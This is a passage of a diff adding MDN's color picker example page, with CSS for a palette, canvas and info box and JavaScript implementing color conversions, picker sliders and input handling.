+ border: 2px dashed #FFF;
+ border-radius: 5px;
+ background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+ position: absolute;
+ top: 10%;
+ left: 10%;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+ background-color: #999;
+}
+
+/**
+ * Color Theme
+ */
+
+#color-theme {
+ margin: 0 8px 0 0;
+ border: 1px solid #EEE;
+ display: inline-block;
+ float: right;
+}
+
+#color-theme .box {
+ width: 80px;
+ height: 92px;
+ float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+ width: 360px;
+ float: left;
+}
+
+#color-info .title {
+ width: 100%;
+ padding: 15px;
+ font-size: 18px;
+ text-align: center;
+ background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+ background-repeat:no-repeat;
+ background-position: center left 30%;
+}
+
+#color-info .copy-container {
+ position: absolute;
+ top: -100%;
+}
+
+#color-info .property {
+ min-width: 280px;
+ height: 30px;
+ margin: 10px 0;
+ text-align: center;
+ line-height: 30px;
+}
+
+#color-info .property &gt; * {
+ float: left;
+}
+
+#color-info .property .type {
+ width: 60px;
+ height: 100%;
+ padding: 0 16px 0 0;
+ text-align: right;
+}
+
+#color-info .property .value {
+ width: 200px;
+ height: 100%;
+ padding: 0 10px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ font-size: 16px;
+ color: #777;
+ text-align: center;
+ background-color: #FFF;
+ border: none;
+}
+
+#color-info .property .value:hover {
+ color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+ background-position: center right;
+}
+
+#color-info .property .copy {
+ width: 24px;
+ height: 100%;
+ padding: 0 5px;
+ background-color: #FFF;
+ background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+ background-repeat: no-repeat;
+ background-position: center left;
+ border-left: 1px solid #EEE;
+ text-align: right;
+ float: left;
+}
+
+#color-info .property .copy:hover {
+ background-position: center right;
+}
+
+
+/**
+ * Color Palette
+ */
+
+#palette {
+ width: 1000px;
+ padding: 10px 0;
+ background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+ background-repeat: repeat;
+ background-color: #EEE;
+ color: #777;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+#color-palette {
+ width: 640px;
+ font-family: Arial, Helvetica, sans-serif;
+ color: #777;
+ float: left;
+}
+
+#color-palette .container {
+ width: 100%;
+ height: 50px;
+ line-height: 50px;
+ overflow: hidden;
+ float: left;
+ transition: all 0.5s;
+}
+
+#color-palette .container &gt; * {
+ float: left;
+}
+
+#color-palette .title {
+ width: 100px;
+ padding: 0 10px;
+ text-align: right;
+ line-height: inherit;
+}
+
+#color-palette .palette {
+ width: 456px;
+ height: 38px;
+ margin: 3px;
+ padding: 3px;
+ display: table;
+ background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+ width: 30px;
+ height: 30px;
+ margin: 3px;
+ position: relative;
+ border: 1px solid #DDD;
+ float: left;
+ transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+ cursor: pointer;
+ border-color: #BBB;
+ transform: scale(1.15);
+ border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls &gt; * {
+ float: left;
+}
+
+#color-palette .controls &gt; *:hover {
+ cursor: pointer;
+}
+
+#color-palette .controls .lock {
+ width: 24px;
+ height: 24px;
+ margin: 10px;
+ padding: 3px;
+ background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+ background-repeat: no-repeat;
+ background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+ /*background-image: url('images/unlocked-hover.png');*/
+ background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+ /*background-image: url('images/locked.png');*/
+ background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+ /*background-image: url('images/lock-hover.png');*/
+ background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+ width: 100%;
+ height: 300px;
+ min-height: 250px;
+ border-top: 1px solid #DDD;
+ background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+ background-repeat: repeat;
+ position: relative;
+ float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+ text-align: center;
+ font-size: 30px;
+ color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+ content: "Drop colors here to compare";
+ width: 40%;
+ padding: 30px 9% 70px 11%;
+
+ background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+ background-repeat: no-repeat;
+ background-position: left 35px top 60%;
+
+ text-align: right;
+
+ border: 3px dashed rgb(221, 221, 221);
+ border-radius: 15px;
+
+ position: absolute;
+ top: 50px;
+ left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+ content: "adjust, change or modify";
+ width: 40%;
+ font-size: 24px;
+ position: absolute;
+ top: 130px;
+ left: 32%;
+ z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+ background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+ content: "double click to activate";
+ width: 80px;
+ color: #FFF;
+ position: absolute;
+ top: 10%;
+ left: 20%;
+ z-index: 2;
+}
+
+#canvas .sample {
+ width: 100px;
+ height: 100px;
+ min-width: 20px;
+ min-height: 20px;
+ position: absolute;
+ border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+ cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+ content: "";
+ position: absolute;
+ background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+ width: 100%;
+ height: 12px;
+ top: -12px;
+ z-index: 2;
+}
+
+#canvas .sample:hover &gt; * {
+ cursor: pointer;
+ display: block !important;
+}
+
+#canvas .sample .resize-handle {
+ display: none;
+}
+
+#canvas .sample .pick {
+ width: 10px;
+ height: 10px;
+ margin: 5px;
+ background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+ position: absolute;
+ top: 0;
+ left: 0;
+ display: none;
+}
+
+#canvas .sample .delete {
+ width: 10px;
+ height: 10px;
+ margin: 5px;
+ background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+ position: absolute;
+ top: 0;
+ right: 0;
+ display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+ width: 16px;
+ height: 16px;
+ margin: 5px;
+ background: url("images/canvas-controls.png") center left no-repeat;
+ position: absolute;
+ top: 0;
+ right: 0;
+}
+
+#canvas .toggle-bg:hover {
+ cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+ background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+ background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+ height: 20px;
+ margin: 5px;
+ font-size: 16px;
+ position: absolute;
+ opacity: 0;
+ top: -10000px;
+ left: 0;
+ color: #777;
+ float: left;
+ transition: opacity 1s;
+}
+
+#zindex input {
+ border: 1px solid #DDD;
+ font-size: 16px;
+ color: #777;
+}
+
+#zindex .ui-input-slider-info {
+ width: 60px;
+}
+
+#zindex[data-active='true'] {
+ top: 0;
+ opacity: 1;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js notranslate">'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+ function getElemById(id) {
+ return document.getElementById(id);
+ }
+
+ var subscribers = [];
+ var pickers = [];
+
+ /**
+ * RGBA Color class
+ *
+ * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+ * @param hue 0-360
+ * @param saturation 0-100
+ * @param value 0-100
+ * @param lightness 0-100
+ */
+
+ function Color(color) {
+
+ if(color instanceof Color === true) {
+ this.copy(color);
+ return;
+ }
+
+ this.r = 0;
+ this.g = 0;
+ this.b = 0;
+ this.a = 1;
+ this.hue = 0;
+ this.saturation = 0;
+ this.value = 0;
+ this.lightness = 0;
+ this.format = 'HSV';
+ }
+
+ function RGBColor(r, g, b) {
+ var color = new Color();
+ color.setRGBA(r, g, b, 1);
+ return color;
+ }
+
+ function RGBAColor(r, g, b, a) {
+ var color = new Color();
+ color.setRGBA(r, g, b, a);
+ return color;
+ }
+
+ function HSVColor(h, s, v) {
+ var color = new Color();
+ color.setHSV(h, s, v);
+ return color;
+ }
+
+ function HSVAColor(h, s, v, a) {
+ var color = new Color();
+ color.setHSV(h, s, v);
+ color.a = a;
+ return color;
+ }
+
+ function HSLColor(h, s, l) {
+ var color = new Color();
+ color.setHSL(h, s, l);
+ return color;
+ }
+
+ function HSLAColor(h, s, l, a) {
+ var color = new Color();
+ color.setHSL(h, s, l);
+ color.a = a;
+ return color;
+ }
+
+ Color.prototype.copy = function copy(obj) {
+ if(obj instanceof Color !== true) {
+ console.log('Typeof parameter not Color');
+ return;
+ }
+
+ this.r = obj.r;
+ this.g = obj.g;
+ this.b = obj.b;
+ this.a = obj.a;
+ this.hue = obj.hue;
+ this.saturation = obj.saturation;
+ this.value = obj.value;
+ this.format = '' + obj.format;
+ this.lightness = obj.lightness;
+ };
+
+ Color.prototype.setFormat = function setFormat(format) {
+ if (format === 'HSV')
+ this.format = 'HSV';
+ if (format === 'HSL')
+ this.format = 'HSL';
+ };
+
+ /*========== Methods to set Color Properties ==========*/
+
+ Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+ return (typeof(value) === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+ value &gt;= 0 &amp;&amp; value &lt;= 255);
+ };
+
+ Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+ if (this.isValidRGBValue(red) === false ||
+ this.isValidRGBValue(green) === false ||
+ this.isValidRGBValue(blue) === false)
+ return;
+
+ this.r = red | 0;
+ this.g = green | 0;
+ this.b = blue | 0;
+
+ if (this.isValidRGBValue(alpha) === true)
+ this.a = alpha | 0;
+ };
+
+ Color.prototype.setByName = function setByName(name, value) {
+ if (name === 'r' || name === 'g' || name === 'b') {
+ if(this.isValidRGBValue(value) === false)
+ return;
+
+ this[name] = value;
+ this.updateHSX();
+ }
+ };
+
+ Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+ this.hue = hue;
+ this.saturation = saturation;
+ this.value = value;
+ this.HSVtoRGB();
+ };
+
+ Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+ this.hue = hue;
+ this.saturation = saturation;
+ this.lightness = lightness;
+ this.HSLtoRGB();
+ };
+
+ Color.prototype.setHue = function setHue(value) {
+ if (typeof(value) !== 'number' || isNaN(value) === true ||
+ value &lt; 0 || value &gt; 359)
+ return;
+ this.hue = value;
+ this.updateRGB();
+ };
+
+ Color.prototype.setSaturation = function setSaturation(value) {
+ if (typeof(value) !== 'number' || isNaN(value) === true ||
+ value &lt; 0 || value &gt; 100)
+ return;
+ this.saturation = value;
+ this.updateRGB();
+ };
+
+ Color.prototype.setValue = function setValue(value) {
+ if (typeof(value) !== 'number' || isNaN(value) === true ||
+ value &lt; 0 || value &gt; 100)
+ return;
+ this.value = value;
+ this.HSVtoRGB();
+ };
+
+ Color.prototype.setLightness = function setLightness(value) {
+ if (typeof(value) !== 'number' || isNaN(value) === true ||
+ value &lt; 0 || value &gt; 100)
+ return;
+ this.lightness = value;
+ this.HSLtoRGB();
+ };
+
+ Color.prototype.setHexa = function setHexa(value) {
+ var valid = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+ if (valid !== true)
+ return;
+
+ if (value[0] === '#')
+ value = value.slice(1, value.length);
+
+ if (value.length === 3)
+ value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+ this.r = parseInt(value.substr(0, 2), 16);
+ this.g = parseInt(value.substr(2, 2), 16);
+ this.b = parseInt(value.substr(4, 2), 16);
+
+ this.alpha = 1;
+ this.RGBtoHSV();
+ };
+
+ /*========== Conversion Methods ==========*/
+
+ Color.prototype.convertToHSL = function convertToHSL() {
+ if (this.format === 'HSL')
+ return;
+
+ this.setFormat('HSL');
+ this.RGBtoHSL();
+ };
+
+ Color.prototype.convertToHSV = function convertToHSV() {
+ if (this.format === 'HSV')
+ return;
+
+ this.setFormat('HSV');
+ this.RGBtoHSV();
+ };
+
+ /*========== Update Methods ==========*/
+
+ Color.prototype.updateRGB = function updateRGB() {
+ if (this.format === 'HSV') {
+ this.HSVtoRGB();
+ return;
+ }
+
+ if (this.format === 'HSL') {
+ this.HSLtoRGB();
+ return;
+ }
+ };
+
+ Color.prototype.updateHSX = function updateHSX() {
+ if (this.format === 'HSV') {
+ this.RGBtoHSV();
+ return;
+ }
+
+ if (this.format === 'HSL') {
+ this.RGBtoHSL();
+ return;
+ }
+ };
+
+ Color.prototype.HSVtoRGB = function HSVtoRGB() {
+ var sat = this.saturation / 100;
+ var value = this.value / 100;
+ var C = sat * value;
+ var H = this.hue / 60;
+ var X = C * (1 - Math.abs(H % 2 - 1));
+ var m = value - C;
+ var precision = 255;
+
+ C = (C + m) * precision | 0;
+ X = (X + m) * precision | 0;
+ m = m * precision | 0;
+
+ if (H &gt;= 0 &amp;&amp; H &lt; 1) { this.setRGBA(C, X, m); return; }
+ if (H &gt;= 1 &amp;&amp; H &lt; 2) { this.setRGBA(X, C, m); return; }
+ if (H &gt;= 2 &amp;&amp; H &lt; 3) { this.setRGBA(m, C, X); return; }
+ if (H &gt;= 3 &amp;&amp; H &lt; 4) { this.setRGBA(m, X, C); return; }
+ if (H &gt;= 4 &amp;&amp; H &lt; 5) { this.setRGBA(X, m, C); return; }
+ if (H &gt;= 5 &amp;&amp; H &lt; 6) { this.setRGBA(C, m, X); return; }
+ };
+
+ Color.prototype.HSLtoRGB = function HSLtoRGB() {
+ var sat = this.saturation / 100;
+ var light = this.lightness / 100;
+ var C = sat * (1 - Math.abs(2 * light - 1));
+ var H = this.hue / 60;
+ var X = C * (1 - Math.abs(H % 2 - 1));
+ var m = light - C/2;
+ var precision = 255;
+
+ C = (C + m) * precision | 0;
+ X = (X + m) * precision | 0;
+ m = m * precision | 0;
+
+ if (H &gt;= 0 &amp;&amp; H &lt; 1) { this.setRGBA(C, X, m); return; }
+ if (H &gt;= 1 &amp;&amp; H &lt; 2) { this.setRGBA(X, C, m); return; }
+ if (H &gt;= 2 &amp;&amp; H &lt; 3) { this.setRGBA(m, C, X); return; }
+ if (H &gt;= 3 &amp;&amp; H &lt; 4) { this.setRGBA(m, X, C); return; }
+ if (H &gt;= 4 &amp;&amp; H &lt; 5) { this.setRGBA(X, m, C); return; }
+ if (H &gt;= 5 &amp;&amp; H &lt; 6) { this.setRGBA(C, m, X); return; }
+ };
+
+ Color.prototype.RGBtoHSV = function RGBtoHSV() {
+ var red = this.r / 255;
+ var green = this.g / 255;
+ var blue = this.b / 255;
+
+ var cmax = Math.max(red, green, blue);
+ var cmin = Math.min(red, green, blue);
+ var delta = cmax - cmin;
+ var hue = 0;
+ var saturation = 0;
+
+ if (delta) {
+ if (cmax === red ) { hue = ((green - blue) / delta); }
+ if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+ if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+ if (cmax) saturation = delta / cmax;
+ }
+
+ this.hue = 60 * hue | 0;
+ if (this.hue &lt; 0) this.hue += 360;
+ this.saturation = (saturation * 100) | 0;
+ this.value = (cmax * 100) | 0;
+ };
+
+ Color.prototype.RGBtoHSL = function RGBtoHSL() {
+ var red = this.r / 255;
+ var green = this.g / 255;
+ var blue = this.b / 255;
+
+ var cmax = Math.max(red, green, blue);
+ var cmin = Math.min(red, green, blue);
+ var delta = cmax - cmin;
+ var hue = 0;
+ var saturation = 0;
+ var lightness = (cmax + cmin) / 2;
+ var X = (1 - Math.abs(2 * lightness - 1));
+
+ if (delta) {
+ if (cmax === red ) { hue = ((green - blue) / delta); }
+ if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+ if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+ if (cmax) saturation = delta / X;
+ }
+
+ this.hue = 60 * hue | 0;
+ if (this.hue &lt; 0) this.hue += 360;
+ this.saturation = (saturation * 100) | 0;
+ this.lightness = (lightness * 100) | 0;
+ };
+
+ /*========== Get Methods ==========*/
+
+ Color.prototype.getHexa = function getHexa() {
+ var r = this.r.toString(16);
+ var g = this.g.toString(16);
+ var b = this.b.toString(16);
+ if (this.r &lt; 16) r = '0' + r;
+ if (this.g &lt; 16) g = '0' + g;
+ if (this.b &lt; 16) b = '0' + b;
+ var value = '#' + r + g + b;
+ return value.toUpperCase();
+ };
+
+ Color.prototype.getRGBA = function getRGBA() {
+
+ var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+ var a = '';
+ var v = '';
+ var x = parseFloat(this.a);
+ if (x !== 1) {
+ a = 'a';
+ v = ', ' + x;
+ }
+
+ var value = 'rgb' + a + rgb + v + ')';
+ return value;
+ };
+
+ Color.prototype.getHSLA = function getHSLA() {
+ if (this.format === 'HSV') {
+ var color = new Color(this);
+ color.setFormat('HSL');
+ color.updateHSX();
+ return color.getHSLA();
+ }
+
+ var a = '';
+ var v = '';
+ var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+ var x = parseFloat(this.a);
+ if (x !== 1) {
+ a = 'a';
+ v = ', ' + x;
+ }
+
+ var value = 'hsl' + a + hsl + v + ')';
+ return value;
+ };
+
+ Color.prototype.getColor = function getColor() {
+ if (this.a | 0 === 1)
+ return this.getHexa();
+ return this.getRGBA();
+ };
+
+ /*=======================================================================*/
+ /*=======================================================================*/
+
+ /*========== Capture Mouse Movement ==========*/
+
+ var setMouseTracking = function setMouseTracking(elem, callback) {
+ elem.addEventListener('mousedown', function(e) {
+ callback(e);
+ document.addEventListener('mousemove', callback);
+ });
+
+ document.addEventListener('mouseup', function(e) {
+ document.removeEventListener('mousemove', callback);
+ });
+ };
+
+ /*====================*/
+ // Color Picker Class
+ /*====================*/
+
+ function ColorPicker(node) {
+ this.color = new Color();
+ this.node = node;
+ this.subscribers = [];
+
+ var type = this.node.getAttribute('data-mode');
+ var topic = this.node.getAttribute('data-topic');
+
+ this.topic = topic;
+ this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+ this.color.setFormat(this.picker_mode);
+
+ this.createPickingArea();
+ this.createHueArea();
+
+ this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+ this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+ this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+ this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+ this.createAlphaArea();
+
+ this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+ this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+ this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+ this.createPreviewBox();
+ this.createChangeModeButton();
+
+ this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+ this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+ this.setColor(this.color);
+ pickers[topic] = this;
+ }
+
+ /*************************************************************************/
+ // Function for generating the color-picker
+ /*************************************************************************/
+
+ ColorPicker.prototype.createPickingArea = function createPickingArea() {
+ var area = document.createElement('div');
+ var picker = document.createElement('div');
+
+ area.className = 'picking-area';
+ picker.className = 'picker';
+
+ this.picking_area = area;
+ this.color_picker = picker;
+ setMouseTracking(area, this.updateColor.bind(this));
+
+ area.appendChild(picker);
+ this.node.appendChild(area);
+ };
+
+ ColorPicker.prototype.createHueArea = function createHueArea() {
+ var area = document.createElement('div');
+ var picker = document.createElement('div');
+
+ area.className = 'hue';
+ picker.className ='slider-picker';
+
+ this.hue_area = area;
+ this.hue_picker = picker;
+ setMouseTracking(area, this.updateHueSlider.bind(this));
+
+ area.appendChild(picker);
+ this.node.appendChild(area);
+ };
+
+ ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+ var area = document.createElement('div');
+ var mask = document.createElement('div');
+ var picker = document.createElement('div');
+
+ area.className = 'alpha';
+ mask.className = 'alpha-mask';
+ picker.className = 'slider-picker';
+
+ this.alpha_area = area;
+ this.alpha_mask = mask;
+ this.alpha_picker = picker;
+ setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+ area.appendChild(mask);
+ mask.appendChild(picker);
+ this.node.appendChild(area);
+ };
+
+ ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+ var preview_box = document.createElement('div');
+ var preview_color = document.createElement('div');
+
+ preview_box.className = 'preview';
+ preview_color.className = 'preview-color';
+
+ this.preview_color = preview_color;
+
+ preview_box.appendChild(preview_color);
+ this.node.appendChild(preview_box);
+ };
+
+ ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+ var wrapper = document.createElement('div');
+ var input = document.createElement('input');
+ var info = document.createElement('span');
+
+ wrapper.className = 'input';
+ wrapper.setAttribute('data-topic', topic);
+ info.textContent = title;
+ info.className = 'name';
+ input.setAttribute('type', 'text');
+
+ wrapper.appendChild(info);
+ wrapper.appendChild(input);
+ this.node.appendChild(wrapper);
+
+ input.addEventListener('change', onChangeFunc);
+ input.addEventListener('click', function() {
+ this.select();
+ });
+
+ this.subscribe(topic, function(value) {
+ input.value = value;
+ });
+ };
+
+ ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+ var button = document.createElement('div');
+ button.className = 'switch_mode';
+ button.addEventListener('click', function() {
+ if (this.picker_mode === 'HSV')
+ this.setPickerMode('HSL');
+ else
+ this.setPickerMode('HSV');
+
+ }.bind(this));
+
+ this.node.appendChild(button);
+ };
+
+ /*************************************************************************/
+ // Updates properties of UI elements
+ /*************************************************************************/
+
+ ColorPicker.prototype.updateColor = function updateColor(e) {
+ var x = e.pageX - this.picking_area.offsetLeft;
+ var y = e.pageY - this.picking_area.offsetTop;
+ var picker_offset = 5;
+
+ // width and height should be the same
+ var size = this.picking_area.clientWidth;
+
+ if (x &gt; size) x = size;
+ if (y &gt; size) y = size;
+ if (x &lt; 0) x = 0;
+ if (y &lt; 0) y = 0;
+
+ var value = 100 - (y * 100 / size) | 0;
+ var saturation = x * 100 / size | 0;
+
+ if (this.picker_mode === 'HSV')
+ this.color.setHSV(this.color.hue, saturation, value);
+ if (this.picker_mode === 'HSL')
+ this.color.setHSL(this.color.hue, saturation, value);
+
+ this.color_picker.style.left = x - picker_offset + 'px';
+ this.color_picker.style.top = y - picker_offset + 'px';
+
+ this.updateAlphaGradient();
+ this.updatePreviewColor();
+
+ this.notify('value', value);
+ this.notify('lightness', value);
+ this.notify('saturation', saturation);
+
+ this.notify('red', this.color.r);
+ this.notify('green', this.color.g);
+ this.notify('blue', this.color.b);
+ this.notify('hexa', this.color.getHexa());
+
+ notify(this.topic, this.color);
+ };
+
+ ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+ var x = e.pageX - this.hue_area.offsetLeft;
+ var width = this.hue_area.clientWidth;
+
+ if (x &lt; 0) x = 0;
+ if (x &gt; width) x = width;
+
+ // TODO 360 =&gt; 359
+ var hue = ((359 * x) / width) | 0;
+ // if (hue === 360) hue = 359;
+
+ this.updateSliderPosition(this.hue_picker, x);
+ this.setHue(hue);
+ };
+
+ ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+ var x = e.pageX - this.alpha_area.offsetLeft;
+ var width = this.alpha_area.clientWidth;
+
+ if (x &lt; 0) x = 0;
+ if (x &gt; width) x = width;
+
+ this.color.a = (x / width).toFixed(2);
+
+ this.updateSliderPosition(this.alpha_picker, x);
+ this.updatePreviewColor();
+
+ this.notify('alpha', this.color.a);
+ notify(this.topic, this.color);
+ };
+
+ ColorPicker.prototype.setHue = function setHue(value) {
+ this.color.setHue(value);
+
+ this.updatePickerBackground();
+ this.updateAlphaGradient();
+ this.updatePreviewColor();
+
+ this.notify('red', this.color.r);
+ this.notify('green', this.color.g);
+ this.notify('blue', this.color.b);
+ this.notify('hexa', this.color.getHexa());
+ this.notify('hue', this.color.hue);
+
+ notify(this.topic, this.color);
+ };
+
+ // Updates when one of Saturation/Value/Lightness changes
+ ColorPicker.prototype.updateSLV = function updateSLV() {
+ this.updatePickerPosition();
+ this.updateAlphaGradient();
+ this.updatePreviewColor();
+
+ this.notify('red', this.color.r);
+ this.notify('green', this.color.g);
+ this.notify('blue', this.color.b);
+ this.notify('hexa', this.color.getHexa());
+
+ notify(this.topic, this.color);
+ };
+
+ /*************************************************************************/
+ // Update positions of various UI elements
+ /*************************************************************************/
+
+ ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+ var size = this.picking_area.clientWidth;
+ var value = 0;
+ var offset = 5;
+
+ if (this.picker_mode === 'HSV')
+ value = this.color.value;
+ if (this.picker_mode === 'HSL')
+ value = this.color.lightness;
+
+ var x = (this.color.saturation * size / 100) | 0;
+ var y = size - (value * size / 100) | 0;
+
+ this.color_picker.style.left = x - offset + 'px';
+ this.color_picker.style.top = y - offset + 'px';
+ };
+
+ ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+ elem.style.left = Math.max(pos - 3, -2) + 'px';
+ };
+
+ ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+ var size = this.hue_area.clientWidth;
+ var offset = 1;
+ var pos = (this.color.hue * size / 360 ) | 0;
+ this.hue_picker.style.left = pos - offset + 'px';
+ };
+
+ ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+ var size = this.alpha_area.clientWidth;
+ var offset = 1;
+ var pos = (this.color.a * size) | 0;
+ this.alpha_picker.style.left = pos - offset + 'px';
+ };
+
+ /*************************************************************************/
+ // Update background colors
+ /*************************************************************************/
+
+ ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+ var nc = new Color(this.color);
+ nc.setHSV(nc.hue, 100, 100);
+ this.picking_area.style.backgroundColor = nc.getHexa();
+ };
+
+ ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+ this.alpha_mask.style.backgroundColor = this.color.getHexa();
+ };
+
+ ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+ this.preview_color.style.backgroundColor = this.color.getColor();
+ };
+
+ /*************************************************************************/
+ // Update input elements
+ /*************************************************************************/
+
+ ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+ var value = parseInt(e.target.value);
+ this.setHue(value);
+ this.updateHuePicker();
+ };
+
+ ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+ var value = parseInt(e.target.value);
+ this.color.setSaturation(value);
+ e.target.value = this.color.saturation;
+ this.updateSLV();
+ };
+
+ ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+ var value = parseInt(e.target.value);
+ this.color.setValue(value);
+ e.target.value = this.color.value;
+ this.updateSLV();
+ };
+
+ ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+ var value = parseInt(e.target.value);
+ this.color.setLightness(value);
+ e.target.value = this.color.lightness;
+ this.updateSLV();
+ };
+
+ ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+ var value = parseInt(e.target.value);
+ this.color.setByName('r', value);
+ e.target.value = this.color.r;
+ this.setColor(this.color);
+ };
+
+ ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+ var value = parseInt(e.target.value);
+ this.color.setByName('g', value);
+ e.target.value = this.color.g;
+ this.setColor(this.color);
+ };
+
+ ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+ var value = parseInt(e.target.value);
+ this.color.setByName('b', value);
+ e.target.value = this.color.b;
+ this.setColor(this.color);
+ };
+
+ ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+ var value = parseFloat(e.target.value);
+
+ if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+ value &gt;= 0 &amp;&amp; value &lt;= 1)
+ this.color.a = value.toFixed(2);
+
+ e.target.value = this.color.a;
+ this.updateAlphaPicker();
+ };
+
+ ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+ var value = e.target.value;
+ this.color.setHexa(value);
+ this.setColor(this.color);
+ };
+
+ /*************************************************************************/
+ // Internal Pub/Sub
+ /*************************************************************************/
+
+ ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+ this.subscribers[topic] = callback;
+ };
+
+ ColorPicker.prototype.notify = function notify(topic, value) {
+ if (this.subscribers[topic])
+ this.subscribers[topic](value);
+ };
+
+ /*************************************************************************/
+ // Set Picker Properties
+ /*************************************************************************/
+
+ ColorPicker.prototype.setColor = function setColor(color) {
+ if(color instanceof Color !== true) {
+ console.log('Typeof parameter not Color');
+ return;
+ }
+
+ if (color.format !== this.picker_mode) {
+ color.setFormat(this.picker_mode);
+ color.updateHSX();
+ }
+
+ this.color.copy(color);
+ this.updateHuePicker();
+ this.updatePickerPosition();
+ this.updatePickerBackground();
+ this.updateAlphaPicker();
+ this.updateAlphaGradient();
+ this.updatePreviewColor();
+
+ this.notify('red', this.color.r);
+ this.notify('green', this.color.g);
+ this.notify('blue', this.color.b);
+
+ this.notify('hue', this.color.hue);
+ this.notify('saturation', this.color.saturation);
+ this.notify('value', this.color.value);
+ this.notify('lightness', this.color.lightness);
+
+ this.notify('alpha', this.color.a);
+ this.notify('hexa', this.color.getHexa());
+ notify(this.topic, this.color);
+ };
+
+ ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+ if (mode !== 'HSV' &amp;&amp; mode !== 'HSL')
+ return;
+
+ this.picker_mode = mode;
+ this.node.setAttribute('data-mode', this.picker_mode);
+ this.setColor(this.color);
+ };
+
+ /*************************************************************************/
+ // UNUSED
